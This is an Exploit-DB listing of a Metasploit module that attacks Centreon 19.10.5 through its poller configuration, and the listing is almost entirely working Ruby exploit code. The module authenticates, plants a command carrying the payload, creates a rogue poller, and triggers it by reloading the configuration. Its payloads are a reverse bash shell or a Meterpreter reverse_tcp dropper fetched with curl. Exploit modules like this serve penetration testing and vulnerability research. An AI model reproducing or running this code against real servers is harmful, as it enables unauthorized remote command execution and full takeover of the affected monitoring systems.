Centreon 19.10.5 – ‘Pollers’ Remote Command Execution (Metasploit)

  • 作者: mekhalleh
    日期: 2020-02-04
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/47994/
  • ##
    # This module requires Metasploit: https://metasploit.com/download
    # Current source: https://github.com/rapid7/metasploit-framework
    ##
    
    class MetasploitModule < Msf::Exploit::Remote
    Rank = ExcellentRanking
    
    include Msf::Exploit::CmdStager
    include Msf::Exploit::Remote::HttpClient
    
    def initialize(info = {})
    super(update_info(info,
    'Name' => 'Centreon Poller Authenticated Remote Command Execution',
    'Description' => %q{
    TODO
    },
    'Author' => [
    'Omri Baso', # discovery
    'Fabien Aunay', # discovery
    'mekhalleh (RAMELLA Sébastien)' # this module
    ],
    'References' => [
    # TODO: waiting for CVE
    ['EDB', '47977']
    ],
    'DisclosureDate' => '2020-01-27',
    'License' => MSF_LICENSE,
    'Platform' => ['linux', 'unix'],
    'Arch' => [ARCH_CMD, ARCH_X64],
    'Privileged' => true,
    'Targets' => [
    ['Reverse shell (In-Memory)',
    'Platform' => 'unix',
    'Type' => :cmd_unix,
    'Arch' => ARCH_CMD,
    'DefaultOptions' => {
    'PAYLOAD' => 'cmd/unix/reverse_bash'
    }
    ],
    ['Meterpreter (Dropper)',
    'Platform' => 'linux',
    'Type' => :meterpreter,
    'Arch' => ARCH_X64,
    'DefaultOptions' => {
    'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp',
    'CMDSTAGER::FLAVOR' => 'curl' # illegal characters: `~$^&"|'<>
    }
    ]
    ],
    'DefaultTarget' => 0,
    'Notes' => {
    'Stability' => [CRASH_SAFE],
    'Reliability' => [REPEATABLE_SESSION],
    'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
    }
    ))
    
    register_options([
    OptString.new('PASSWORD', [true, 'The Centreon Web panel password to authenticate with']),
    OptString.new('TARGETURI', [true, 'The URI of the Centreon Web panel path', '/centreon']),
    OptString.new('USERNAME', [true, 'The Centreon Web panel username to authenticate with'])
    ])
    end
    
    def create_new_poller(poller_name, command_id)
    print_status("Create new poller entry on the target.")
    token = get_token(normalize_uri(target_uri.path, 'main.get.php'), {'p' => '60901'})
    return false unless token
    
    response = send_request_cgi(
    'method' => 'POST',
    'uri' => normalize_uri(target_uri.path, 'main.get.php?p=60901'),
    'cookie' => @cookies,
    'partial' => true,
    'vars_post' => {
    'name' => poller_name,
    'ns_ip_address' => '127.0.0.1',
    'localhost[localhost]' => '1',
    'is_default[is_default]' => '0',
    'remote_id' => '',
    'ssh_port' => '22',
    'remote_server_centcore_ssh_proxy[remote_server_centcore_ssh_proxy]' => '1',
    'engine_start_command' => 'service centengine start',
    'engine_stop_command' => 'service centengine stop',
    'engine_restart_command' => 'service centengine restart',
    'engine_reload_command' => 'service centengine reload',
    'nagios_bin' => '/usr/sbin/centengine',
    'nagiostats_bin' => '/usr/sbin/centenginestats',
    'nagios_perfdata' => '/var/log/centreon-engine/service-perfdata',
    'broker_reload_command' => 'service cbd reload',
    'centreonbroker_cfg_path' => '/etc/centreon-broker',
    'centreonbroker_module_path' => '/usr/share/centreon/lib/centreon-broker',
    'centreonbroker_logs_path' => '/var/log/centreon-broker',
    'centreonconnector_path' => '',
    'init_script_centreontrapd' => 'centreontrapd',
    'snmp_trapd_path_conf' => '/etc/snmp/centreon_traps/',
    'pollercmd[0]' => command_id,
    'clone_order_pollercmd_0' => '',
    'ns_activate[ns_activate]' => '1',
    'submitA' => 'Save',
    'id' => '',
    'o' => 'a',
    'centreon_token' => token
    }
    )
    return false unless response
    
    return true
    end
    
    def execute_command(command, opts = {})
    cmd_name = rand_text_alpha(8..42)
    poller_name = rand_text_alpha(8..42)
    
    ## Register a miscellaneous command.
    print_status("Upload command payload on the target.")
    token = get_token(normalize_uri(target_uri.path, 'main.get.php'), {'p' => '60803', 'type' => '3'})
    return false unless token
    
    response = send_request_cgi(
    'method' => 'POST',
    'uri' => normalize_uri(target_uri.path, 'main.get.php?p=60803&type=3'),
    'cookie' => @cookies,
    'partial' => true,
    'vars_post' => {
    'command_name' => cmd_name,
    'command_type[command_type]' => '3',
    'command_line' => command,
    'resource' => '$CENTREONPLUGINS$',
    'plugins' => '/Centreon/SNMP',
    'macros' => '$ADMINEMAIL$',
    'command_example' => '',
    'listOfArg' => '',
    'listOfMacros' => '',
    'connectors' => '',
    'graph_id' => '',
    'command_activate[command_activate]' => '1',
    'command_comment' => '',
    'submitA' => 'Save',
    'command_id' => '',
    'type' => '3',
    'o' => 'a',
    'centreon_token' => token
    }
    )
    return false unless response
    
    ## Create new poller to serve the payload.
    create_new_poller(poller_name, get_command_id(cmd_name))
    poller_id = get_poller_id(poller_name)
    
    ## Export configuration to reload to trigger the exploit.
    unless poller_id.nil?
    restart_exportation(poller_id)
    end
    end
    
    def get_auth
    print_status("Send authentication request.")
    token = get_token(normalize_uri(target_uri.path, 'index.php'))
    unless token.nil?
    response = send_request_cgi(
    'method' => 'POST',
    'uri' => normalize_uri(target_uri.path, 'index.php'),
    'cookie' => @cookies,
    'vars_post'=> {
    'useralias' => datastore['USERNAME'],
    'password' => datastore['PASSWORD'],
    'submitLogin' => 'Connect',
    'centreon_token' => token
    }
    )
    return false unless response
    
    if response.redirect?
    if response.headers['location'].include?('main.php')
    print_status('Successful authenticated.')
    @cookies = response.get_cookies
    return true
    end
    end
    end
    
    print_bad('Your credentials are incorrect.')
    return false
    end
    
    def get_command_id(cmd_name)
    response = send_request_cgi(
    'method' => 'GET',
    'uri' => normalize_uri(target_uri.path, 'main.get.php'),
    'cookie' => @cookies,
    'vars_get' => {
    'p' => '60803',
    'type' => '3'
    }
    )
    return nil unless response
    
    href = response.get_html_document.at("//a[contains(text(), \"#{cmd_name}\")]")['href']
    return nil unless href
    
    id = href.split('?')[1].split('&')[2].split('=')[1]
    return id unless id.empty?
    
    return nil
    end
    
    def get_poller_id(poller_name)
    response = send_request_cgi(
    'method' => 'GET',
    'uri' => normalize_uri(target_uri.path, 'main.get.php'),
    'cookie' => @cookies,
    'vars_get' => {'p' => '60901'}
    )
    return nil unless response
    
    href = response.get_html_document.at("//a[contains(text(), \"#{poller_name}\")]")['href']
    return nil unless href
    
    id = href.split('?')[1].split('&')[2].split('=')[1]
    return id unless id.empty?
    
    return nil
    end
    
    def get_session
    response = send_request_cgi(
    'method' => 'HEAD',
    'uri' => normalize_uri(target_uri.path, 'index.php')
    )
    cookies = response.get_cookies
    return cookies unless cookies.empty?
    end
    
    def get_token(uri, params = {})
    ## Get centreon_token value.
    request = {
    'method' => 'GET',
    'uri' => uri,
    'cookie' => @cookies
    }
    request = request.merge({'vars_get' => params}) unless params.empty?
    response = send_request_cgi(request)
    
    return nil unless response
    return response.get_html_document.at('input[@name="centreon_token"]')['value']
    end
    
    def restart_exportation(poller_id)
    print_status("Reload the poller to trigger exploitation.")
    token = get_token(normalize_uri(target_uri.path, 'main.get.php'), {'p' => '60902', 'poller' => poller_id})
    
    vprint_status(' -- Generating files.')
    unless token.nil?
    response = send_request_cgi(
    'method' => 'POST',
    'uri' => normalize_uri(target_uri.path, 'include', 'configuration', 'configGenerate', 'xml', 'generateFiles.php'),
    'cookie' => @cookies,
    'vars_post' => {
    'poller' => poller_id,
    'debug' => 'true',
    'generate' => 'true'
    }
    )
    return nil unless response
    
    vprint_status(' -- Restarting engine.')
    response = send_request_cgi(
    'method' => 'POST',
    'uri' => normalize_uri(target_uri.path, 'include', 'configuration', 'configGenerate', 'xml', 'restartPollers.php'),
    'cookie' => @cookies,
    'vars_post' => {
    'poller' => poller_id,
    'mode' => '2'
    }
    )
    return nil unless response
    
    vprint_status(' -- Executing command.')
    response = send_request_cgi(
    'method' => 'POST',
    'uri' => normalize_uri(target_uri.path, 'include', 'configuration', 'configGenerate', 'xml', 'postcommand.php'),
    'cookie' => @cookies,
    'vars_post' => {'poller' => poller_id}
    )
    return nil unless response
    end
    end
    
    def check
    # TODO: Detection by version number (waiting to know the impacted versions).
    end
    
    def exploit
    ## TODO: check
    
    @cookies = get_session
    logged = get_auth unless @cookies.empty?
    if logged
    case target['Type']
    when :cmd_unix
    execute_command(payload.encoded)
    when :meterpreter
    execute_command(generate_cmdstager.join)
    end
    end
    end
    
    end